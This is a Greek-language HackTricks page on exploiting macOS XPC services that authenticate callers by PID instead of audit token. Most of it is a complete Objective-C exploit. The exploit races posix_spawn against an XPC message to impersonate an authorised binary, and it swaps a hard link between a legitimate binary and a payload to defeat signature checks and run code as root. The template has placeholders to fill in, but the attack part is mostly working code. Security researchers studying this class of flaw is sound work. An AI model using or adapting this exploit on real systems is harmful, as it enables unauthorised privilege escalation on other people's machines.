Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα αποθετήρια του HackTricks και του HackTricks Cloud στο GitHub.
Επαναχρησιμοποίηση PID
Όταν ένα XPC service στο macOS ελέγχει την καλούμενη διεργασία βασιζόμενο στο PID και όχι στο αναγνωριστικό ελέγχου, είναι ευάλωτο σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια συνθήκη ανταγωνισμού όπου ένα εκμεταλλευτικό πρόγραμμα θα στείλει μηνύματα στην υπηρεσία XPC καταχρώμενο τη λειτουργικότητα και αμέσως μετά, θα εκτελέσει posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) με το επιτρεπόμενο δυαδικό αρχείο.
Αυτή η λειτουργία θα κάνει το επιτρεπόμενο δυαδικό αρχείο να κατέχει το PID, αλλά το κακόβουλο μήνυμα XPC θα έχει σταλεί λίγο πριν. Έτσι, αν η υπηρεσία XPC χρησιμοποιεί το PID για τον έλεγχο του αποστολέα και το ελέγχει ΜΕΤΑ την εκτέλεση του posix_spawn, θα νομίζει ότι προέρχεται από μια εξουσιοδοτημένη διεργασία.
Παράδειγμα εκμετάλλευσης
Αν βρείτε τη λειτουργία shouldAcceptNewConnection ή μια λειτουργία που καλεί την processIdentifier και δεν καλεί το auditToken. Είναι πολύ πιθανό ότι ελέγχει το PID της διεργασίας και όχι το αναγνωριστικό ελέγχου.
Όπως για παράδειγμα σε αυτήν την εικόνα (ληφθείσα από την αναφορά):
Ελέγξτε αυτήν την εκμετάλλευση παραδείγματος (και πάλι, ληφθείσα από την αναφορά) για να δείτε τα 2 μέρη της εκμετάλλευσης:
Ένα που δημιουργεί αρκετές διακλαδώσεις
Κάθε διακλάδωση θα στείλει το φορτίο στην υπηρεσία XPC ενώ εκτελεί το posix_spawn αμέσως μετά την αποστολή του μηνύματος.
Για να λειτουργήσει η εκμετάλλευση, είναι σημαντικό να εξαγάγετε`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ή να το τοποθετήσετε μέσα στην εκμετάλλευση:
Αυτό το παράδειγμα χρησιμοποιεί έναν ωμό fork για να εκκινήσει παιδιά που θα εκμεταλλευτούν τον ανταγωνισμό των PID και στη συνέχεια θα εκμεταλλευτούν έναν άλλο ανταγωνισμό μέσω ενός σκληρού συνδέσμου:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}